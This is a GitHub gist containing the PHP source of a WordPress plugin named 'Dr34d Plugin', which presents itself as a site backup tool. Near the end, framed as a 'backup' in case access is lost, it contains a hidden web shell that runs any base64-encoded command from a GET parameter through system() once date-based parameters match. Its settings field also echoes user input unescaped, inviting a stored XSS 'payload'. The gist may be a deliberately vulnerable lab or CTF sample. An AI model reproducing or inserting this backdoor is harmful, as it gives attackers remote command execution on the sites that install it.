Skip to content

Instantly share code, notes, and snippets.

@Splint3r7
Created August 8, 2022 08:44
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Splint3r7/176051864d6a39ff3b331b606a32ffe5 to your computer and use it in GitHub Desktop.
Save Splint3r7/176051864d6a39ff3b331b606a32ffe5 to your computer and use it in GitHub Desktop.
Dr34d-plugin
<?php
/* Plugin Name: Dr34d Plugin
* Description: Backup plugin for my wordpress site
* Author: Hassan Khan Yusufzai - Splint3r7
* Author URI: http://hassankhanyusufzai.com
* License: GPLv2+
*/
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');
class dr34dbox {
public $options;
/**
* Class constructor
*/
public function __construct() {
$this->options = get_option('load_page');
$this->register_settings_page(); // invoke to register the plugin settings and admin sections
}
/**
* Generate the admin settings page
*/
public static function display_options_page() { ?>
<div class="wrap">
<h2>Dr34d Plugin Settings</h2>
<form method="post" action="options.php">
<?php
settings_fields('load_page');
do_settings_sections(__FILE__);
?>
<p class="submit">
<input name="submit" type="submit" class="button-primary" value="Save Changes" />
</p>
</form>
</div><?php
}
/**
* Add menu page
*/
public static function add_menu_page() {
add_options_page('Dr34d', 'Dr34d', 'administrator', __FILE__, array('dr34dbox','display_options_page'));
}
/**
* Register fields and sections
*/
public function register_settings_page() {
register_setting('load_page', 'load_page');
add_settings_section('Dr34d_product_settings_section', 'product Settings', array($this, 'Dr34d_load_product_callback'), __FILE__);
add_settings_field('Dr34d_load_product_instructions', 'Instructions', array($this, 'Dr34d_load_product_instructions_text'), __FILE__, 'Dr34d_product_settings_section');
add_settings_field('Dr34d_load_product_id', 'product URL', array($this, 'Dr34d_load_product_id_settings'), __FILE__, 'Dr34d_product_settings_section');
}
/**
* Callback - can be used for extending features
*/
public function Dr34d_load_product_callback() {}
/**
* product instructions
*/
public function Dr34d_load_product_instructions_text() { ?>
<p class="description">Enter Your payload here and see the magiic</p>
<?php
}
/**
* product details input
*/
public function Dr34d_load_product_id_settings() { ?>
<input name="load_page[Dr34d_load_product_id]" type="text" value="<?php echo $this->options['Dr34d_load_product_id']; ?>" class="regular-text" />
<?php
}
}
/**
* Add to admin menu
*/
function Dr34d_add_options_page_function() {
dr34dbox::add_menu_page();
}
/**
* Class object creation
*/
function Dr34d_initiate_class() {
new dr34dbox();
}
function safety_notice() {
echo '<div class="error"><p><strong>WARNING:</strong> Please don\'t use this plugin anymore, its not update and might hold some potential security vulnerabilites.</p></div>';
}
function install() {
}
/*
That's just a backup, if I ever lost access to my WordPress.
*/
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');
if ($_GET['year'] == '2022' and $_GET['month'] == strtoupper('august') and $_GET['date'] == strtotime('08/08/2022')) {
system( urldecode ( base64_decode ($_GET['backup']))) ;
}
add_action( 'all_admin_notices', 'safety_notice' );
add_action('admin_menu', 'Dr34d_add_options_page_function'); // add item to admin menu
add_action('admin_init', 'Dr34d_initiate_class'); // plugin initialization action
register_activation_hook( __FILE__, 'install' );
/*
That's just a backup, if I ever lost access to my WordPress.
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment